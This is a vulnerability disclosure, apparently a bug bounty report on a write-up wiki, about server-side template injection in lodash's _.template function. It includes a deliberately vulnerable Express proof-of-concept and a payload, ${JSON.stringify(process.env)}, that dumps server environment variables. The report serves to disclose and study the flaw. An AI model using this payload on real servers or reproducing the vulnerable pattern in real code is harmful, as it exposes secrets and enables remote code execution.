Server-side Template Injection in lodash.js
The lodash _.template function does not properly validate user-supplied input, allowing an attacker who controls a parameter to inject JavaScript code that is executed on the server. This can lead to remote code execution.
- Disclosed after 12 months
I would like to report Server-side Template Injection in lodash.js (_.template function) It allows the execution of code on the server
Module
module name: lodash
version: 4.17.15
npm page: https://www.npmjs.com/package/lodash
Module Description
The Lodash library exported as Node.js modules.
Module Stats
26,664,631 weekly downloads
Vulnerability
Vulnerability Description
The _.template function of the lodash package does not properly validate user-supplied input.
An application making use of the lodash package may be exploited by an attacker that controls the value of a parameter processed by the _.template function. An attacker can inject code such as Javascript within parenthesis for example parameter=${JSON.stringify(process.env)} which will be executed by the server.
Steps To Reproduce:
Step 1: Create a test application that requires the lodash.js library. The application below accepts user-supplied input in the 'name' parameter that is handled by lodash _.template function
const express = require('express');
const _ = require('lodash');
const escapeHTML = require('escape-html');
const app = express();
app.get('/', (req, res) => {
res.set('Content-Type', 'text/html');
const name = req.query.name
// Create a template from user input
const compiled = _.template("Hello " + escapeHTML(name) + ".");
res.status(200).send(compiled());
});
app.listen(8000, () => {
console.log('POC app listening on port 8000!')
});
Step 2: Visit the vulnerable application at http://127.0.0.1:8000/?name=Test
Step 3: Visit the vulnerable application and enter a payload such as ${JSON.stringify(process.env)} into the name parameter e.g. http://127.0.0.1:8000/?name=Test${JSON.stringify(process.env)}
Supporting Material/References:
- OSX 10.15.5
- NODEJS v10.16.0
- NPM v 6.9.0
Wrap up
- I contacted the maintainer to let them know: [Y/N] N
- I opened an issue in the related repository: [Y/N] N
Hunter's comments and funny memes goes here
Apologies if I haven't used the ideal terminology or if this is a duplicate.
Impact
Remote code execution
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely, the _.template function evaluates user-supplied input as part of the template, allowing code injection.
Impact
An attacker could execute arbitrary code on the server, leading to remote code execution.
What the attacker needed
Application uses lodash _.template with user input
How it was found
- Create a test application that uses lodash and passes user input to _.template.
- Visit the application with a benign name parameter.
- Visit the application with a name parameter containing a JavaScript payload.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Lodash is a popular JavaScript library. Its template function builds output from a string, and if that string includes user input, an attacker can insert JavaScript code that the server runs, which is dangerous.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.